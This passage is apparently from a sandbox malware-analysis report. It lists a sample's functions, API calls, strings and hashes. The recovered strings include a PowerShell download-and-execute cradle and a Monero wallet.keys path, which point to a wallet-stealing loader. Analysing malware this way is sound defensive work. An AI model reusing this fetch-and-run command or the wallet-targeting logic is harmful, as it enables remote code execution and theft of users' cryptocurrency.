Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: b497db51f70792eaa88b22fe8c34f5073883920e04588d228c3dfb8609a54ea2
Instruction ID: ea2b0a26e58897f281ae0e947e730695a64ec4350a0d508d08704cb289aa3262
Opcode Fuzzy Hash: b497db51f70792eaa88b22fe8c34f5073883920e04588d228c3dfb8609a54ea2
Instruction Fuzzy Hash: 4E0144F5A44208BBD700DBE4DC49F79B7B8EB58701F104458FE08D7291D6B49904DF52

Function 003C7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003C7734
RtlAllocateHeap.NTDLL(00000000), ref: 003C773B
RegOpenKeyExA.ADVAPI32(80000002,0117B810,00000000,00020119,003C76B9), ref: 003C775B
RegQueryValueExA.ADVAPI32(003C76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 003C777A
RegCloseKey.ADVAPI32(003C76B9), ref: 003C7784

Strings

CurrentBuildNumber, xrefs: 003C7771

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 53a41c90866e816f83022be59d95ef1cf843d63afd6d6fbff17b90e5bc52a9a2
Instruction ID: d1c3a48c1d02e7ed2676f8490da3da317c29b4db69d1c358c65fd46f3afc253e
Opcode Fuzzy Hash: 53a41c90866e816f83022be59d95ef1cf843d63afd6d6fbff17b90e5bc52a9a2
Instruction Fuzzy Hash: B801F4F5A40308BBD700DBE4DC49FBEB7B8EB58705F104559FA09E7281D6B46A04DB52

Function 003C92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:<,80000000,00000003,00000000,00000003,00000080,00000000,?,003C3AEE,?), ref: 003C92FC
GetFileSizeEx.KERNEL32(000000FF,:<), ref: 003C9319
CloseHandle.KERNEL32(000000FF), ref: 003C9327

Strings

:<, xrefs: 003C9311, 003C933D, 003C9314
:<, xrefs: 003C92F8, 003C92FB

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :<$:<
API String ID: 1378416451-3602519871
Opcode ID: bf632e79d7803aa5d97ed97156a55f01e0fbf6d4586aee1ff320fc3b220a7b61
Instruction ID: c72d0dcd150087e7a7636330a3ebcbc2f555d59894d98e752ce3a3a416872c1b
Opcode Fuzzy Hash: bf632e79d7803aa5d97ed97156a55f01e0fbf6d4586aee1ff320fc3b220a7b61
Instruction Fuzzy Hash: CDF06978E00208ABDB10DBA0DC48FAE77B9EB58310F118658A615EB2C0E674AA019F41

Function 003B99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003B99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 003B9A11
LocalAlloc.KERNEL32(00000040,?), ref: 003B9A31
ReadFile.KERNEL32(000000FF,?,00000000,003B148F,00000000), ref: 003B9A5A
LocalFree.KERNEL32(003B148F), ref: 003B9A90
CloseHandle.KERNEL32(000000FF), ref: 003B9A9A

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 859882abf5eb2d799d021389ce371f4b464c155afba2859eb5ba792637f72558
Instruction ID: 773ac2a541669889e8f121242a5ee72838f2d82e3db1c1fa7db2aed3eebb0c3b
Opcode Fuzzy Hash: 859882abf5eb2d799d021389ce371f4b464c155afba2859eb5ba792637f72558
Instruction Fuzzy Hash: D3314AB4A00209EFDB11CF94C885FEE77B8FF48344F108159EA05A7290D778A945CFA1

Function 003C4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0118F790), ref: 003C47DB

Part of subcall function 003C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 003C8E0B

lstrcat.KERNEL32(?,00000000), ref: 003C4801
lstrcat.KERNEL32(?,?), ref: 003C4820
lstrcat.KERNEL32(?,?), ref: 003C4834
lstrcat.KERNEL32(?,0117A688), ref: 003C4847
lstrcat.KERNEL32(?,?), ref: 003C485B
lstrcat.KERNEL32(?,0118E6D0), ref: 003C486F

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003C8D90: GetFileAttributesA.KERNEL32(00000000,?,003B1B54,?,?,003D564C,?,?,003D0E1F), ref: 003C8D9F

Part of subcall function 003C4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 003C4580
Part of subcall function 003C4570: RtlAllocateHeap.NTDLL(00000000), ref: 003C4587
Part of subcall function 003C4570: wsprintfA.USER32 ref: 003C45A6
Part of subcall function 003C4570: FindFirstFileA.KERNEL32(?,?), ref: 003C45BD

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 9b5bdccf638b4d49314775c46bd5f3c8c409f914950d2b0e980101c8c8b3549f
Instruction ID: 24a7359c6c179f93f47c6698a11a5820c73afce746a8abcb13f9322e16690519
Opcode Fuzzy Hash: 9b5bdccf638b4d49314775c46bd5f3c8c409f914950d2b0e980101c8c8b3549f
Instruction Fuzzy Hash: 793143B690021857CB16F7B0DC85FE9737CAB58700F40498DB359EA081EEB59B89CB96

Function 003C2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

ShellExecuteEx.SHELL32(0000003C), ref: 003C2D85

Strings

')", xrefs: 003C2CB3
<, xrefs: 003C2D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 003C2CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 003C2D04

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: b452a3f3a233318b3e1ea3c401c9dea3fba60abdddf56c0a896aee19f741e9cd
Instruction ID: 1baca096cccafe71e904b938fff64564023542f6a8f27384a31008c03ba9c909
Opcode Fuzzy Hash: b452a3f3a233318b3e1ea3c401c9dea3fba60abdddf56c0a896aee19f741e9cd
Instruction Fuzzy Hash: B141CC71C1060C9BDB1AEBA0D896FEDBB78AF10704F40411DE016EA191DF746E4ADF96

Function 003B9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 003B9F41

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Strings

v10, xrefs: 003B9EA3
v20, xrefs: 003B9E21
ERROR_RUN_EXTRACTOR, xrefs: 003B9E67
@, xrefs: 003B9EF1

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 5004923cfb17fc379b7b3a95b0266e3735f8a81c7e567f91c6cd2bcaf07556f8
Instruction ID: 4147b3744b6b6c6a0405b3a7915c12a135900af54dbffde89fcbdb1b19b357c8
Opcode Fuzzy Hash: 5004923cfb17fc379b7b3a95b0266e3735f8a81c7e567f91c6cd2bcaf07556f8
Instruction Fuzzy Hash: C3616E71A1060CABDB25EFA4DC96FED7779AF40308F408018FA0A9F591EB746E05CB52

Function 003C40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0118E650,00000000,00020119,?), ref: 003C40F4
RegQueryValueExA.ADVAPI32(?,0118F718,00000000,00000000,00000000,000000FF), ref: 003C4118
RegCloseKey.ADVAPI32(?), ref: 003C4122
lstrcat.KERNEL32(?,00000000), ref: 003C4147
lstrcat.KERNEL32(?,0118F730), ref: 003C415B

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 59bc8e92497ae53bbf46cce14300a90cb1ee30a8718e8adf6a06eb7cab512513
Instruction ID: e9c00bd7f9cae08cd9909de0afa4d0a4de52494c3971178b5d0ebcd673d1bd51
Opcode Fuzzy Hash: 59bc8e92497ae53bbf46cce14300a90cb1ee30a8718e8adf6a06eb7cab512513
Instruction Fuzzy Hash: 7D41C9B69001086BDB25EBA0DC56FFD733DA798300F40455CB719DA181EA755B8CCBA3

Function 003C7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003C7E37
RtlAllocateHeap.NTDLL(00000000), ref: 003C7E3E
RegOpenKeyExA.ADVAPI32(80000002,0117BB90,00000000,00020119,?), ref: 003C7E5E
RegQueryValueExA.ADVAPI32(?,0118E730,00000000,00000000,000000FF,000000FF), ref: 003C7E7F
RegCloseKey.ADVAPI32(?), ref: 003C7E92

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 5b34ea4eecd0326288590d2f71ca95e0273495d980ad2beb0b199cd3f5f22713
Instruction ID: e85c1ecc16446364ce3b0934064599ffd3f32c8200985fa44f81ad494593a789
Opcode Fuzzy Hash: 5b34ea4eecd0326288590d2f71ca95e0273495d980ad2beb0b199cd3f5f22713
Instruction Fuzzy Hash: C3114CB2A44205EBD704DB94DD49FBBBBBCEB08B10F104159FA09E7680D7B85C04DBA2

Function 003C9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0118F4C0,?,?,?,003C140C,?,0118F4C0,00000000), ref: 003C926C
lstrcpyn.KERNEL32(005FAB88,0118F4C0,0118F4C0,?,003C140C,?,0118F4C0), ref: 003C9290
lstrlen.KERNEL32(?,?,003C140C,?,0118F4C0), ref: 003C92A7
wsprintfA.USER32 ref: 003C92C7

Strings

%s%s, xrefs: 003C92B5

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 43bbc4e00f3d87f035240d7bcb3cd580fdf1c456c17d71b724d14466df224437
Instruction ID: 0afc4a1688e52f8033987f338d3e6cc24220bfc69061f57e63b56b8b7216a11a
Opcode Fuzzy Hash: 43bbc4e00f3d87f035240d7bcb3cd580fdf1c456c17d71b724d14466df224437
Instruction Fuzzy Hash: 9301A5B650010CFFCB04DFE8D988EAE7BB9EB58354F108548F9099B204C675AA45DB96

Function 003B12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003B12B4
RtlAllocateHeap.NTDLL(00000000), ref: 003B12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 003B12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 003B12F5
RegCloseKey.ADVAPI32(?), ref: 003B12FF

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 6de1493ff53a7841456354805197d34e730598b01b74fe04cfc5db21e95b20e3
Instruction ID: de461f1f6d01fa5fd4c0b9d25407f97388ca57e1dd61a45cad1a211111890de7
Opcode Fuzzy Hash: 6de1493ff53a7841456354805197d34e730598b01b74fe04cfc5db21e95b20e3
Instruction Fuzzy Hash: E1011DB9A40208BBDB00DFE0DC59FAEB7B8EB58705F008159FA09D7280D674AA05DB52

Function 003CC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 003CC8EC
___crtLCMapStringA.LIBCMT ref: 003CC90C
___crtLCMapStringA.LIBCMT ref: 003CC931

Strings

, xrefs: 003CC896

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
